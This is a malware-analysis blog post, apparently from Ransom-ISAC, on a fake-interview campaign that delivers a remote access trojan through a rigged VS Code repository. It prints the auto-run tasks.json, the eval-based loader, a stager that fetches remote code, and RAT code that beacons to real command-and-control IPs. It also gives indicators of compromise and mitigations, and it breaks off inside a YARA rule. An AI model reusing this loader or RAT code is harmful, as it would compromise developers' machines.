{
	"id": "8a174cf7-05ed-45fc-9e2e-168d661b9473",
	"created_at": "2026-04-06T00:11:59.335258Z",
	"updated_at": "2026-04-10T13:12:07.098311Z",
	"deleted_at": null,
	"sha1_hash": "2d0085b4d55ca8be5ca8a90a5f7628945d50f67b",
	"title": "Contagious Interview: VS Code to RAT",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2307102,
	"plain_text": "Contagious Interview: VS Code to RAT\r\nBy Ransom-ISAC\r\nPublished: 2026-03-16 · Archived: 2026-04-05 18:07:48 UTC\r\nIntroduction\r\nIn January 2026, security researcher François-Julien Alcaraz was targeted once again by a recruitment attempt that turned\r\nout to be part of a sophisticated social engineering campaign targeting developers through fake job interviews. What begins\r\nas a seemingly legitimate LinkedIn recruitment message quickly escalates into a multi-stage attack that weaponises VS\r\nCode's trusted features to deliver remote access trojans (RATs).\r\nThe attack chain is deceptively simple: a recruiter reaches out on LinkedIn, conversations move to Google Meets, and the\r\nvictim is asked to review a \"coding challenge\" hosted on GitHub. Upon opening the repository in Visual Studio (VS) Code,\r\nhidden configuration files automatically execute malicious code - no user interaction required beyond opening the folder.\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 1 of 23\n\nFigure 1. Initial recruiter contact and fake role listing used as the lure.\r\nThis campaign, linked to DPRK-affiliated threat actors, represents a dangerous evolution in supply chain attacks. Rather\r\nthan exploiting software vulnerabilities, attackers abuse legitimate development tools that developers trust implicitly. The\r\nmalware establishes persistent command-and-control communication, exfiltrates system information, and provides remote\r\ncode execution capabilities—all whilst remaining completely hidden from the victim.\r\nThis analysis breaks down the complete attack chain, from initial contact to payload execution, and provides actionable\r\nindicators of compromise for detection and prevention.\r\nThe Interview\r\nAfter the attacker reached out on LinkedIn and initial conversations began, the job interview moved over to a Google Meets\r\ninterview, scheduled by email kosukek748@gmail.com . The recruiter scheduled a job interview, and it was there the attacker\r\nwas insistent on the interviewer downloading and executing the repository.\r\nFigure 2. Interview recording excerpt highlighting pressure to run the repository locally.\r\nThis pressure to run code from an unfamiliar source during what appeared to be a legitimate technical interview was the\r\ndelivery mechanism for the malware payload.\r\nThis part describes the recruiter switcheroo tactic used in the social engineering attack:\r\nInitial Contact: Two LinkedIn profiles (Dominique Sthran and Ricardo Pereira) reached out to the target\r\nThe Switch: When the actual Google Meets interview happened, neither of these people showed up. Instead, a\r\ncompletely different person named \"Khalid Akosuke\" joined the call\r\nThis is a classic social engineering technique that:\r\nCreates confusion and makes it harder to verify identities\r\nAdds legitimacy by having multiple \"employees\" from the fake company\r\nMakes attribution more difficult if the victim later tries to report the incident\r\nBuilds trust through what appears to be a multi-person recruitment process\r\nThe attacker (Khalid) briefly showed their face on camera to establish trust, then turned it off for the rest of the 30-minute\r\ntechnical interview where they pressured the victim to download and run the malicious repository.\r\nThe technical challenge was a repository related to a Japanese soccer e-commerce platform which was from\r\nhttps[:]//github[.]com/ArsagaPPro/Jp-Soccer2.git . The interviewer was constantly pressuring the interviewee to\r\nlocally download the repository and execute the code to run the supposed application.\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 2 of 23\n\nFigure 3. Malicious GitHub repository presented as a technical challenge.\r\nNothing about this appeared safe, especially when running local webservers on your host are involved in the interview\r\nprocess:\r\nFigure 4. Example of an unsafe interview workflow requiring local server execution on the host.\r\nAfter around thirty minutes of discussion the interviewer provided a follow-on meeting to go through the repository again,\r\nlikely to try to attempt to get the interviewee to execute the code rather than look at it.\r\nAttack Killchain\r\nThe following is a high-level overview of this attack end-to-end:\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 3 of 23\n\nFigure 5. High-level end-to-end attack flow overview (kill chain).\r\nStep Title Description Detail MITRE Key Code\r\n01\r\nLinkedIn\r\nOutreach\r\nFake recruiters\r\n(Dominique Sthran,\r\nRicardo Pereira) contact\r\nthe target developer with\r\na job opportunity\r\nDPRK-affiliated\r\nactors use\r\nfabricated\r\nLinkedIn profiles\r\nto initiate\r\nrecruitment\r\nconversations\r\nwith developers\r\nT1566.003 —\r\n02\r\nGoogle Meet\r\nInterview\r\nSetup\r\nConversation moves to a\r\nvideo interview\r\nscheduled via\r\nkosukek748@gmail.com.\r\nA different person,\r\n\"Khalid Akosuke,\" joins\r\nthe call\r\nMoving to a\r\nvideo interview\r\nestablishes trust\r\nand creates social\r\npressure to\r\ncomply with\r\ninstructions\r\nT1566.003 —\r\n03\r\nFake\r\nTechnical\r\nInterview\r\nThe interviewer\r\npressures the victim to\r\nclone and run a GitHub\r\nrepo (ArsagaPPro/Jp-Soccer2) locally as a\r\ncoding challenge\r\nThe interviewer\r\napplies social\r\npressure to get\r\nthe target to\r\ndownload and\r\nexecute the\r\nmalicious repo\r\nlocally\r\nT1204.002 —\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 4 of 23\n\nStep Title Description Detail MITRE Key Code\r\n04\r\nVS Code\r\nAuto-Task\r\nFires\r\nOpening the repo triggers\r\n.vscode/tasks.json, which\r\nsilently runs npm start in\r\nthe background with no\r\nvisible terminal\r\nrunOn:\r\n\"folderOpen\" +\r\nreveal: \"never\" +\r\necho: false = zero\r\nuser interaction\r\nrequired\r\nT1059.007 \"runOn\": \"folderOpen\" \"reveal\": \"never\r\n05\r\nnext.config.js\r\nLoads Trojan\r\nThe Next.js config uses\r\neval() to execute\r\n/scripts/jquery.min.js, a\r\nfake jQuery file\r\ncontaining the stager\r\npayload\r\nThe config file\r\ndisguises\r\nmalicious code\r\nexecution as a\r\nnormal Node.js\r\nrequire/readFile\r\noperation\r\nT1059.007 eval(code) on fake jQuery\r\n06\r\nStager\r\nFetches from\r\nVercel\r\nThe fake jQuery decodes\r\na Base64 URL and\r\nfetches the next-stage\r\npayload from api-web3-\r\nauth.vercel.app/api/auth\r\nUsing Vercel for\r\nstaging\r\ninfrastructure\r\nprovides\r\nlegitimacy and\r\navoids IP-based\r\nblocking\r\nT1105 atob() → fetch() → eval()\r\n07\r\nRAT Beacon\r\nEstablished\r\nMalware beacons to C2\r\nservers on port 3000\r\nevery 5 seconds,\r\nexfiltrating hostname,\r\nMAC addresses, and OS\r\ninfo\r\nUses\r\n/api/errorMessage\r\nendpoint for\r\ntasking\r\nT1071.001 axios.get(\"http://[C2]:3000/api/errorMes\r\n08\r\nRemote\r\nCode\r\nExecution\r\nC2 sends arbitrary\r\nJavaScript via the error\r\nresponse field; new\r\nFunction('require', code)\r\n(require) gives full\r\nsystem access\r\nFull system\r\ncompromise —\r\nthe attacker can\r\nrun any code with\r\nNode.js require()\r\naccess\r\nT1059.007 new Function('require', msg)(require)\r\nRepository Breakdown\r\nAccount requested was: https[:]//github[.]com/ArsagaPPro/Jp-Soccer2.git\r\nIn there was a /.vscode/tasks.json file:\r\n{\r\n \"version\": \"2.0.0\",\r\n \"tasks\": [\r\n {\r\n \"label\": \"run-nextjs-start\",\r\n \"type\": \"shell\",\r\n \"command\": \"npm start --silent --no-progress\",\r\n \"options\": {\r\n \"cwd\": \"${workspaceFolder}\"\r\n },\r\n \"windows\": {\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 5 of 23\n\n\"options\": {\r\n \"shell\": {\r\n \"executable\": \"cmd.exe\",\r\n \"args\": [\"/c\"]\r\n }\r\n }\r\n },\r\n \"linux\": {\r\n \"options\": {\r\n \"shell\": {\r\n \"executable\": \"/bin/zsh\",\r\n \"args\": [\"-c\"]\r\n }\r\n }\r\n },\r\n \"osx\": {\r\n \"options\": {\r\n \"shell\": {\r\n \"executable\": \"/bin/zsh\",\r\n \"args\": [\"-c\"]\r\n }\r\n }\r\n },\r\n \"runOptions\": {\r\n \"runOn\": \"folderOpen\"\r\n },\r\n \"isBackground\": true,\r\n \"presentation\": {\r\n \"reveal\": \"never\",\r\n \"echo\": false,\r\n \"focus\": false,\r\n \"panel\": \"dedicated\",\r\n \"showReuseMessage\": false,\r\n \"clear\": true\r\n },\r\n \"problemMatcher\": []\r\n }\r\n ]\r\n}\r\nThis is a VS Code tasks configuration file ( tasks.json ) that automatically starts a Next.js development server when you\r\nopen the project folder.\r\nMain Purpose: Runs npm start --silent --no-progress automatically when the folder opens in VS Code.\r\nAt the time of writing, the repository contained the following next.config.js file:\r\n/** @type {import('next').NextConfig} */\r\nconst jmpparser = require('fs');\r\nconst nextConfig = {\r\n images: {\r\n remotePatterns: [\r\n {\r\n protocol: 'https',\r\n hostname: 'images.unsplash.com',\r\n port: '',\r\n pathname: '/**',\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 6 of 23\n\n},\r\n {\r\n protocol: 'https',\r\n hostname: 'res.cloudinary.com',\r\n port: '',\r\n pathname: '/**',\r\n },\r\n {\r\n protocol: 'https',\r\n hostname: 'photo.yupoo.com',\r\n port: '',\r\n pathname: '/**',\r\n },\r\n {\r\n protocol: 'http',\r\n hostname: 'localhost',\r\n port: '3000',\r\n pathname: '/api/proxy-image/**',\r\n },\r\n {\r\n protocol: 'https',\r\n hostname: '*',\r\n port: '',\r\n pathname: '/api/proxy-image/**',\r\n },\r\n ],\r\n dangerouslyAllowSVG: true,\r\n // Ensure images render in-browser (not downloaded)\r\n contentDispositionType: 'inline',\r\n contentSecurityPolicy: \"default-src 'self'; script-src 'none'; sandbox;\",\r\n },\r\n async headers() {\r\n return [\r\n {\r\n source: '/:path*',\r\n headers: [\r\n {\r\n key: 'Referer',\r\n value: 'https://jersey-factory.x.yupoo.com/',\r\n },\r\n {\r\n key: 'User-Agent',\r\n value: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.\r\n },\r\n ],\r\n },\r\n ];\r\n },\r\n};\r\nmodule.exports = nextConfig;\r\njmpparser.readFile(__dirname + '/scripts/jquery.min.js', 'utf8', (err, code) =\u003e { eval(code); console.log(err) });\r\nYou can see at the bottom of this is a reference to the /scripts/jquery.min.js file:\r\n// Connect and get reference to mongodb instance\r\nconst AUTH_API_KEY = \"aHR0cDovL2FwaS13ZWIzLWF1dGgudmVyY2VsLmFwcC9hcGkvYXV0aA==\";\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 7 of 23\n\n// Error handling - close server\r\n(async () =\u003e {\r\n const src = atob(AUTH_API_KEY);\r\n const proxy = (await import('node-fetch')).default;\r\n try {\r\n const response = await proxy(src);\r\n if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);\r\n const proxyInfo = await response.text();\r\n eval(proxyInfo);\r\n } catch (err) {\r\n console.error('Auth Error!', err);\r\n }\r\n})();\r\nThe base64 encoded api is actually a URL C2 stager:\r\nhttp[:]//api-web3-auth[.]vercel[.]app/api/auth\r\nThe 3-Step Attack Chain\r\nStep 1: You Open Folder in VS Code\r\n// .vscode/tasks.json\r\n\"runOn\": \"folderOpen\" // ← Triggers when VS Code opens the folder\r\n\"reveal\": \"never\" // ← Runs npm start completely hidden\r\nStep 2: Next.js Config Executes Fake jQuery\r\n// next.config.js (last line)\r\nconst jmpparser = require('fs');\r\njmpparser.readFile('/scripts/jquery.min.js', 'utf8', (err, code) =\u003e {\r\n eval(code); // ← Executes the fake jQuery file\r\n});\r\nStep 3: Fake jQuery Fetches \u0026 Runs Attacker's Code\r\n// /scripts/jquery.min.js\r\nconst url = atob(\"aHR0cDovL2FwaS13ZWIzLWF1dGgudmVyY2VsLmFwcC9hcGkvYXV0aA==\");\r\n// ↓ Decodes to:\r\n// \"http://api-web3-auth.vercel.app/api/auth\"\r\nconst response = await fetch(url); // Makes HTTP request to attacker's server\r\nconst remoteCode = await response.text(); // Gets JavaScript code from response\r\neval(remoteCode); // Executes whatever the attacker sent\r\nBottom line: Open folder in VS Code → hidden npm start → eval() fake jQuery → fetch attacker's server → eval() remote\r\ncode → you're owned\r\nThis prompts the user upon opening it to trust the author in VSCode:\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 8 of 23\n\nFigure 6. VS Code \"Trust the authors\" prompt shown when opening the malicious repository.\r\nVS Code Features Being Abused:\r\n1. Auto-Run Tasks ( \"runOn\": \"folderOpen\" )\r\n\"runOptions\": {\r\n \"runOn\": \"folderOpen\" // ← Legitimate feature for auto-starting dev servers\r\n}\r\nIntended use: Auto-start your dev server when opening a project\r\nAbused for: Running malicious code without user interaction\r\n2. Hidden Task Execution\r\n\"presentation\": {\r\n \"reveal\": \"never\", // ← Hide the terminal\r\n \"echo\": false, // ← Don't show commands\r\n \"focus\": false // ← Don't grab focus\r\n}\r\nIntended use: Keep your workspace clean, run background tasks quietly\r\nAbused for: Execute malware completely invisibly\r\n3. Shell Command Execution\r\n\"type\": \"shell\",\r\n\"command\": \"npm start --silent --no-progress\"\r\nIntended use: Run build tools, dev servers, scripts\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 9 of 23\n\nAbused for: Launch Node.js process that loads malicious config\r\nNode.js/Next.js Features Being Abused:\r\n4. Config Files Execute as Code\r\nNext.js next.config.js runs as JavaScript, not just parsed as JSON\r\nIntended use: Dynamic configuration\r\nAbused for: Execute eval() on file contents\r\n5. eval() Function\r\nIntended use: Rarely legitimate (almost always a code smell)\r\nAbused for: Run arbitrary code from files and remote servers\r\nAll legitimate features. Zero exploits. Just weaponized trust.\r\nMalware Analysis:\r\nAccessing this C2 then gives us:\r\nconst axios = require(\"axios\");\r\nconst os = require(\"os\");\r\nlet instanceId = 0\r\nfunction errorFunction(message) {\r\n try {\r\n const handleError = new Function('require', message)\r\n return handleError(require)\r\n } catch (error) {\r\n }\r\n}\r\nfunction getSystemInfo() {\r\n const hostname = os.hostname();\r\n const macs = Object.values(os.networkInterfaces())\r\n .flat()\r\n .filter(Boolean)\r\n .map(n =\u003e n.mac)\r\n .filter(mac =\u003e mac \u0026\u0026 mac !== \"00:00:00:00:00:00\");\r\n const osName = os.type();\r\n const osRelease = os.release();\r\n const platform = os.platform();\r\n return {\r\n hostname,\r\n macs,\r\n os: `${osName} ${osRelease} (${platform})`\r\n };\r\n}\r\nasync function checkServer() {\r\n try {\r\n const sysInfo = getSystemInfo()\r\n const res = await axios.get(\"http://66.235.168.136:3000/api/errorMessage\",\r\n {\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 10 of 23\n\nparams : {\r\n sysInfo,\r\n exceptionId: 'env101383',\r\n instanceId\r\n }\r\n }\r\n );\r\n if (res.data.status === \"error\") {\r\n errorFunction(res.data.message || \"Unknown error\");\r\n } else {\r\n if (res.data.instanceId) {\r\n instanceId = res.data.instanceId\r\n }\r\n }\r\n } catch (err) {\r\n }\r\n}\r\ntry {\r\n checkServer();\r\n setInterval(checkServer, 5000);\r\n} catch (error) {\r\n}\r\nThe HandleError function within the article allows the RAT to basically execute on any code. How this works however is\r\ninteresting:\r\n1. REMOTE CODE EXECUTION (RCE)\r\nfunction errorFunction(message) {\r\n try {\r\n const handleError = new Function('require', message)\r\n return handleError(require)\r\n } catch (error) { }\r\n}\r\nWhat it does: Executes arbitrary JavaScript code sent from C2 server\r\nRisk: CRITICAL - Full system compromise capability\r\nTriggered by: When C2 responds with status: \"error\" and code in message field\r\n2. SYSTEM FINGERPRINTING\r\nfunction getSystemInfo() {\r\n const hostname = os.hostname();\r\n const macs = Object.values(os.networkInterfaces())\r\n .flat()\r\n .filter(Boolean)\r\n .map(n =\u003e n.mac)\r\n .filter(mac =\u003e mac \u0026\u0026 mac !== \"00:00:00:00:00:00\");\r\n const osName = os.type();\r\n const osRelease = os.release();\r\n const platform = os.platform();\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 11 of 23\n\nreturn { hostname, macs, os: `${osName} ${osRelease} (${platform})` };\r\n}\r\nCollects:\r\nComputer hostname\r\nAll MAC addresses (unique hardware IDs)\r\nOS type, version, platform\r\nPurpose: Victim identification and tracking\r\n3. C2 BEACONING\r\nconst res = await axios.get(\"http://66[.]235[.]168[.]136:3000/api/errorMessage\", {\r\n params: {\r\n sysInfo, // System info from above\r\n exceptionId: 'env101383', // Campaign ID\r\n instanceId // Session tracker\r\n }\r\n});\r\nBehaviour:\r\nCalls C2 immediately on startup\r\nRepeats every 5 seconds\r\nSends all system info with each beacon\r\n4. TASK EXECUTION\r\nif (res.data.status === \"error\") {\r\n errorFunction(res.data.message || \"Unknown error\"); // Execute code\r\n} else {\r\n if (res.data.instanceId) {\r\n instanceId = res.data.instanceId // Update session ID\r\n }\r\n}\r\nC2 Commands:\r\nstatus: \"error\" → Execute code in message field (RCE)\r\nstatus: \"ok\" + instanceId → Update session tracker\r\nstatus: \"ok\" (no ID) → Heartbeat only\r\nRepository Leftovers\r\nIn the same GitHub repository the following URLs were also found from previous commits and pull requests where the\r\nsame repository was clearly used for other RAT Stager infrastructure:\r\nhttps://web3-metric-analytics.vercel.app/api/getMoralisData\r\nhttps://metric-analytics-refresh.vercel.app/api/getMoralisData\r\nhttps://sync-oracle-v3.vercel.app/api/getMoralisData\r\nOne of these, provided by researcher Artur Ampilogov, is obfuscated and available for analysis in our LOCK STAR\r\nGitHub repository.\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 12 of 23\n\nDeobfuscated it is effectively the following:\r\n// FULLY DEOBFUSCATED CODE - CTF Challenge\r\n// WARNING: This is malicious code - for analysis purposes only\r\n// C2 Server: http://87.236.177.9:3000/api/errorMessage\r\nconst axios = require('axios');\r\nconst os = require('os');\r\nlet instanceId = 0;\r\n// Function that executes arbitrary code passed as a string\r\nfunction errorFunction(code) {\r\n try {\r\n // Creates a new function with 'require' in scope and executes the code\r\n return new Function('require', code)(require);\r\n } catch (error) {\r\n // Silently fails\r\n }\r\n}\r\n// Collects system information for exfiltration\r\nfunction getSystemInfo() {\r\n return {\r\n 'hostname': os.hostname(),\r\n 'macs': Object.values(os.networkInterfaces())\r\n .flat()\r\n .filter(Boolean)\r\n .map(iface =\u003e iface.mac)\r\n .filter(mac =\u003e mac \u0026\u0026 '00:00:00:00:00:00' !== mac),\r\n 'os': os.type() + ' ' + os.release() + ' (' + os.platform() + ')'\r\n };\r\n}\r\n// Main malicious function - communicates with C2 server\r\nasync function checkServer() {\r\n // Anti-debugging wrapper function\r\n const antiDebugWrapper = (function() {\r\n let firstCall = true;\r\n return function(context, fn) {\r\n const action = firstCall ? function() {\r\n if (fn) {\r\n const result = fn.apply(context, arguments);\r\n fn = null;\r\n return result;\r\n }\r\n } : function() {};\r\n firstCall = false;\r\n return action;\r\n };\r\n })();\r\n // Console hijacking for stealth\r\n const hijackConsole = antiDebugWrapper(this, function() {\r\n const getGlobalObject = function() {\r\n let globalObj;\r\n try {\r\n // Tries to get global object via Function constructor\r\n globalObj = Function('return (function() ' + '{}.constructor(\"return this\")( )' + ');')();\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 13 of 23\n\n} catch (e) {\r\n globalObj = window;\r\n }\r\n return globalObj;\r\n };\r\n const global = getGlobalObject();\r\n const console = global.console = global.console || {};\r\n const consoleMethods = ['log', 'warn', 'info', 'error', 'exception', 'table', 'trace'];\r\n // Overwrites all console methods to hide activity\r\n for (let i = 0; i \u003c consoleMethods.length; i++) {\r\n const bound = antiDebugWrapper.constructor.prototype.bind(antiDebugWrapper);\r\n const methodName = consoleMethods[i];\r\n const originalMethod = console[methodName] || bound;\r\n bound.__proto__ = antiDebugWrapper.bind(antiDebugWrapper);\r\n bound.toString = originalMethod.toString.bind(originalMethod);\r\n console[methodName] = bound;\r\n }\r\n });\r\n hijackConsole();\r\n try {\r\n const systemInfo = getSystemInfo();\r\n // Makes GET request to C2 server at 87.236.177.9:3000\r\n const response = await axios.get(\r\n 'http://87.236.177.9:3000/api/errorMessage',\r\n {\r\n 'params': {\r\n 'sysInfo': systemInfo,\r\n 'exceptionId': '00:00:00:00:00:00', // Likely a unique identifier\r\n 'instanceId': instanceId\r\n }\r\n }\r\n );\r\n // If server responds with 'error' status, executes arbitrary code from server\r\n if ('error' === response.data.status) {\r\n errorFunction(response.data.message || 'Unknown error');\r\n } else if (response.data.instanceId) {\r\n // Updates instance ID from server for tracking\r\n instanceId = response.data.instanceId;\r\n }\r\n } catch (error) {\r\n // Silently fails - no error reporting\r\n }\r\n}\r\n// Execution starts immediately and repeats every 5 seconds\r\ntry {\r\n checkServer();\r\n setInterval(checkServer, 5000); // 0x1388 = 5000 milliseconds\r\n} catch (error) {\r\n // Silently fails\r\n}\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 14 of 23\n\n1. REMOTE CODE EXECUTION (RCE)\r\nfunction errorFunction(code) {\r\n try {\r\n return new Function('require', code)(require);\r\n } catch (error) { }\r\n}\r\nWhat it does: Executes arbitrary JavaScript code from C2 server\r\nRisk: CRITICAL - Full system compromise\r\nTriggered by: When C2 responds with status: \"error\"\r\n2. SYSTEM FINGERPRINTING\r\nfunction getSystemInfo() {\r\n return {\r\n 'hostname': os.hostname(),\r\n 'macs': Object.values(os.networkInterfaces())\r\n .flat()\r\n .filter(Boolean)\r\n .map(iface =\u003e iface.mac)\r\n .filter(mac =\u003e mac \u0026\u0026 '00:00:00:00:00:00' !== mac),\r\n 'os': os.type() + ' ' + os.release() + ' (' + os.platform() + ')'\r\n };\r\n}\r\nCollects:\r\nHostname\r\nAll MAC addresses (excluding null MACs)\r\nOS type, version, platform\r\n3. ANTI-DEBUGGING \u0026 STEALTH\r\n// Anti-debugging wrapper\r\nconst antiDebugWrapper = (function() {\r\n let firstCall = true;\r\n return function(context, fn) {\r\n const action = firstCall ? function() {\r\n if (fn) {\r\n const result = fn.apply(context, arguments);\r\n fn = null;\r\n return result;\r\n }\r\n } : function() {};\r\n firstCall = false;\r\n return action;\r\n };\r\n})();\r\n// Console hijacking\r\nconst hijackConsole = antiDebugWrapper(this, function() {\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 15 of 23\n\n// ... overwrites console.log, warn, info, error, exception, table, trace\r\n});\r\nWhat it does:\r\nHijacks all console methods (log, warn, info, error, exception, table, trace)\r\nPrevents debugging output from appearing\r\nAnti-debugging wrapper pattern\r\nPurpose: Hide malicious activity from developers/analysts\r\n4. C2 BEACONING\r\nconst response = await axios.get(\r\n 'http://87.236.177.9:3000/api/errorMessage',\r\n {\r\n 'params': {\r\n 'sysInfo': systemInfo,\r\n 'exceptionId': '00:00:00:00:00:00',\r\n 'instanceId': instanceId\r\n }\r\n }\r\n);\r\nBehaviour:\r\nCalls C2 immediately on startup\r\nRepeats every 5 seconds\r\nSends system info + session tracking\r\n5. TASK EXECUTION\r\nif ('error' === response.data.status) {\r\n errorFunction(response.data.message || 'Unknown error');\r\n} else if (response.data.instanceId) {\r\n instanceId = response.data.instanceId;\r\n}\r\nCommands:\r\nstatus: \"error\" → Execute code in message field\r\nHas instanceId → Update session tracker\r\nOtherwise → Heartbeat only\r\nExecution is also run immediately and every 5 seconds (0x1388 = 5000ms):\r\nInfrastructure Analysis\r\nBoth C2 IP addresses 66.235.168[.]136 and 87.236.177[.]9 mentioned in the above C2 beacons section share a number\r\nof similar characteristics which enabled analytical pivoting opportunities to uncover additional C2 infrastructure that is\r\nlikely under the control of the same cluster of operators. The C2 IP addresses were active at least since mid September of\r\nlast year and were first observed with the C2 configuration since 23rd January 2026.\r\nCommon C2 Characteristics:\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 16 of 23\n\nC2 Port: 3000\r\nURL Structure: :3000/api/errorMessage\r\nWeb technologies: Node JS and Express framework\r\nAlmost perfect overlap in HTTP headers and HTML properties\r\nLast Modified date in HTTP header: Last-Modified: Mon, 13 Oct 2025 06:03:09 GMT\r\nEntity Tag (ETag): W/\"0-199dc2a634d\"\r\nFrom the above characteristics, the URL structure and ETag were explored further to build potential infrastructure\r\nfingerprints for tracking.\r\nURL Structure\r\nBased on the URL structure associated with the initially discovered C2 IP addresses, seven distinct C2 URLs were identified\r\nspanning between the two C2 IP addresses with HTTP 200 OK successful response status code.\r\nFigure 7. C2 URL structure pivoting results based on /api/errorMessage endpoint behavior.\r\nEntity Tag (ETag)\r\nBased on the identified ETag W/\"0-199dc2a634d\" , five unique IP addresses (inclusive of the two initially discovered C2s)\r\nwere discovered in fairly close proximity to one another (within 10 days) and hosted on ASNs Tier.Net Technologies LLC,\r\nInterserver, Inc and EUROHOSTER Ltd. All IP addresses were hosted on the same port 3000 and had the same Last\r\nModified Date in their HTTP headers.\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 17 of 23\n\nFigure 8. Additional infrastructure discovered via ETag and Last-Modified fingerprinting.\r\nIP Address ASN Port First Seen (With C2 Config)\r\n66.235.168[.]136 397423 3000 24-01-2026\r\n87.236.177[.]9 207728 3000 23-01-2026\r\n174.138.188[.]80 19318 3000 07-02-2026\r\n163.245.194[.]216 19318 3000 07-02-2026\r\n147.124.202[.]208 397423 3000 08-02-2026\r\n104.192.42[.]117 207728 3000 03-03-2026\r\n185.163.125[.]196 51269 3000 09-03-2026\r\nKey Indicator Overlap with open-source reporting\r\nIP address 87.236.177[.]9 was mentioned in a blog by Red Asgard and attributed to BeaverTail malware on port 3000\r\nand URL containing /api/errorMessage . The IP address was also referenced in a separate blog by Jamf Threat Labs that\r\nalso attributes the overall activity to DPRK and shares insights into the observed tradecraft.\r\nAdditionally, the blog stats IP ranges 147.124.x.x and 66.235.x.x as secondary servers that appear to be victim facing.\r\nThese ranges also intersect with IP addresses 66.235.168[.]136 and 147.124.202[.]208 from our discovery which are\r\nhosted on the same ASN.\r\nSource Link: https://redasgard.com/blog/hunting-lazarus-part4-real-blood-on-the-wire\r\nSource Link: https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/\r\nInfrastructure Wrap up\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 18 of 23\n\nFigure 9. Infrastructure analysis wrap-up (timeline/summary of identified C2 hosts).\r\nIt is likely that the infrastructure identified above is either part of an active campaign or pre-operational infrastructure to be\r\nused in the future iterations of the campaign. Microsoft has also been tracking this campaign (Microsoft Security Blog, 24\r\nFeb 2026), which further supports the assessment that the cluster remains active. This assessment is based on the proximity\r\nand active status of the identified C2 servers and low/zero detections by other security vendors.\r\nUpon querying the live servers via the /api/errorMessage endpoint with spoofed MacOS sysInfo, the C2s returned:\r\n{\"status\":\"ok\",\"message\":\"server connected\"}\r\nThis response represents the C2 in standby mode — the server has registered the beacon but the operator has not yet pushed\r\na payload. Based on the malware's task execution logic:\r\nif (res.data.status === \"error\") {\r\n errorFunction(res.data.message || \"Unknown error\");\r\n} else {\r\n if (res.data.instanceId) {\r\n instanceId = res.data.instanceId\r\n }\r\n}\r\nA status: \"ok\" response without an instanceId is simply a heartbeat acknowledgement. The second stage payload is\r\nonly delivered when the operator manually sets status: \"error\" and populates the message field with arbitrary\r\nJavaScript — indicating that payload delivery is manual and operator-controlled rather than automated.\r\nThis is consistent with DPRK tradecraft where operators actively monitor incoming beacons and selectively push payloads\r\nto high-value targets, rather than indiscriminately deploying to all victims. The exceptionId campaign identifier likely\r\nhelps operators track and filter which victims are worth targeting.\r\nConclusion\r\nThe Contagious Interview campaign represents a sophisticated evolution in social engineering attacks, weaponising the trust\r\ndevelopers place in their development environments. By exploiting legitimate features in VS Code and Next.js rather than\r\nrelying on software vulnerabilities, threat actors have created an attack chain that bypasses traditional security controls and\r\noperates entirely within expected developer workflows.\r\nThe multi-stage infection process—from LinkedIn outreach to LinkedIn communication, followed by a malicious GitHub\r\nrepository—demonstrates a calculated approach designed to exploit the natural curiosity and collaborative spirit of the\r\ndeveloper community. The attack's effectiveness lies not in technical complexity, but in its abuse of trusted tools: VS Code's\r\nautomatic task execution, Next.js configuration files, and Node.js's dynamic code evaluation capabilities.\r\nOnce deployed, the malware establishes persistent C2 communication, exfiltrating system information including hostnames,\r\nMAC addresses, and OS details every five seconds. The remote code execution capability via the errorFunction() method\r\nprovides attackers with a powerful foothold, allowing arbitrary command execution on compromised systems. The anti-https://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 19 of 23\n\ndebugging techniques and console hijacking further demonstrate the threat actors' sophistication in maintaining operational\r\nsecurity.\r\nOrganisations and individual developers must recognise that opening an untrusted repository in VS Code can be as\r\ndangerous as executing an unknown binary. The campaign's reliance on Vercel-hosted infrastructure for staging and the use\r\nof obfuscation techniques indicate a well-resourced operation likely tied to DPRK-affiliated threat actors, consistent with\r\nprevious Contagious Interview campaigns.\r\nKey Takeaways:\r\nNever clone and open untrusted repositories in VS Code without first inspecting .vscode/tasks.json and\r\nconfiguration files\r\nDisable automatic task execution in VS Code settings ( task.allowAutomaticTasks: false )\r\nScrutinise job offers that require you to download and run code, especially those that move from professional\r\nplatforms to private messaging apps\r\nMonitor network connections from development environments for unexpected C2 communication\r\nReview repository commit history before trusting code—attackers often reuse infrastructure across campaigns\r\nThe IOCs provided in this analysis should be immediately incorporated into security monitoring systems. As development\r\nenvironments continue to be targeted, the security community must adapt defences to protect not just production systems,\r\nbut the tools developers use to build them.\r\nStay vigilant. The next job offer might be a trap.\r\nYARA\r\nrule Actor_APT_DPRK_MAL_SCRIPT_JS_Dropper_Unknown_Strings_Mar26\r\n{\r\n meta:\r\n rule_id = \"713af537-771f-44ee-b65c-1647d5ec9a84\"\r\n date = \"13-03-2026\"\r\n author = \"Ransom-ISAC\"\r\n description = \"Detects 